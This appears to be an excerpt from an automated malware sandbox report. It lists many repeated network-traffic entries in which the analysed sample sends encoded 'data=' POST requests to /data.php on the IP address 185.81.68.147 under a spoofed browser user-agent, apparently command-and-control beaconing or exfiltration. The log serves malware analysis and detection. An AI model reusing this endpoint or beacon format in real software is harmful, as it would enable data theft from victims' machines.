Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
